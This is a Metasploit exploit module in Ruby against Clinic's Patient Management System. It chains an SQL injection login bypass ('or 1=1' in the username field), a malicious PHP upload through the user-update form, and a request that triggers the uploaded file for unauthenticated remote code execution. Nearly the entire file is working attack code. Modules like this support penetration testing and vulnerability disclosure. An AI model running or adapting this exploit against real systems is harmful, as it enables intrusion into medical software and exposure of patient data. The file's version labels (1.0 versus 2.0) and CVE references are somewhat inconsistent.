## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper # include Msf::Post::File include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE', 'Description' => %q{ This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE. }, 'Author' => [ 'msutovsky-r7', # CVE-2025-3096, module developer 'Ashish Kumar' # CVE-2022-2297 ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Privileged' => false, 'Targets' => [ ['Clinic Patient Management System 2.0', {}] ], 'DefaultTarget' => 0, 'References' => [ ['CVE', '2022-2297'], ['CVE', '2025-3096'], ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'], ], 'DisclosureDate' => '2025-01-04', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']), OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true]) ]) end def check print_status('Checking if target is vulnerable...') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }) return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200 return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank? return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP") return Exploit::CheckCode::Appears('Clinic PMS detected') end def login_sqli res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { user_name: "' or '1'='1' LIMIT 1;--", password: '', login: '' } }) fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302 fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location') fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php' print_status('Logged using SQL injection..') end def upload_payload username = Rex::Text.rand_text_alphanumeric(8) password = Rex::Text.rand_text_alphanumeric(8) filename = Rex::Text.rand_text_alphanumeric(8) + '.php' boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}" data_post = "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n" data_post << "1\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n" data_post << "#{username}\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n" data_post << "#{username}\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n" data_post << "#{password}\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n" data_post << "Content-Type: application/x-php\r\n\r\n" data_post << "#{payload.encoded}\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n" data_post << "\r\n" data_post << "--#{boundary}--\r\n" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'update_user.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'vars_get' => { 'user_id' => '1' }, 'data' => data_post }) fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302 fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location') fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully' print_status('Malicious file uploaded..') end def logout res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path + 'logout.php'), 'method' => 'GET' }) fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302 fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location') fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php' print_status('Logged out..') @cookie_jar.clear end def trigger_payload logout login_sqli print_status('Reporting vulnerability') report_vuln( host: datastore['RHOSTS'], name: name, refs: references, info: 'The target is vulnerable to CVE-2025-3096.' ) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/update_user.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'user_id' => '1' } }) fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200 fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank? html_document = res.get_html_document payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank? register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES'] send_request_cgi({ 'uri' => normalize_uri(target_uri.path, payload_path), 'method' => 'GET', 'keep_cookies' => true }) end def exploit login_sqli upload_payload trigger_payload end end